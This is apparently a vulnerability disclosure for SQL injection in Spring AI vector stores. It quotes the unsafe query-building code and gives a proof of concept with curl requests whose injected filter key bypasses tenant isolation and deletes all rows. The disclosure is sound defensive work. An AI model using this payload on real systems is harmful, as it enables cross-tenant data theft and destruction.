Spring AI SQL Injection in PgVectorStore and friends

0
12

Spring AI SQL Injection in PgVectorStore and friends

PgVectorStore, OracleVectorStore, and CouchbaseSearchVectorStore concatenate filter expression output directly into SQL without parameterization, enabling tenant isolation bypass, data exfiltration, and deletion of arbitrary rows. The SQL concatenation is in the framework’s store classes and converter’s doKey() method – even the programmatic FilterExpressionBuilder API is vulnerable. 

 

// PgVectorStore.java (main branch) — same pattern in OracleVectorStore and CouchbaseSearchVectorStore

String sql =

  DELETE FROM ” + getFullyQualifiedTableName() +

  ” WHERE metadata::jsonb @@ ‘” + nativeFilterExpression +

  “‘::jsonpath”;

this.jdbcTemplate.update(sql);

PgVectorFilterExpressionConverter.doKey() concatenates “$.” + key.key() with no escaping. A single quote in the key terminates the SQL string literal. Additionally, emitJsonValue() does not escape single quotes (not special in JSON), so a single quote in a value also breaks the SQL.

The primary PoC achieves full tenant bypass and data destruction using only FilterExpressionBuilder – no string concatenation in application code. The vulnerability is in the framework’s query construction, not in how the expression is built.

 

Proof of Concept

Start the database and application:

docker compose -f poc/docker-compose.yml -p sqli-poc up -d

cd poc/java-poc && ./mvnw spring-boot:run

Legitimate request (returns only acme’s 2 documents):

$ curl ‘http://localhost:8080/search?query=report&tenant=acme’

{“result_count”2“filter_key”“tenant”“filter_value”“acme”, …}

Bypass tenant isolation (returns all 5 documents from all 3 tenants). The injected key closes the jsonpath string, adds OR true, then re-opens a valid jsonpath to absorb the trailing SQL:

$ curl -G http://localhost:8080/search \

  –data-urlencode “query=report” \

  –data-urlencode “key=tenant’::jsonpath OR true OR metadata::jsonb @@ ‘$.tenant” \

  –data-urlencode “tenant=x”

{“result_count”5, …}

Delete all documents across all tenants:

$ curl -G http://localhost:8080/delete \

    –data-urlencode “key=tenant’::jsonpath OR true OR metadata::jsonb @@ ‘$.tenant” \

    –data-urlencode “tenant=x”

{“status”“deleted”“remaining_documents”0}

 

Ben Smith
– Read more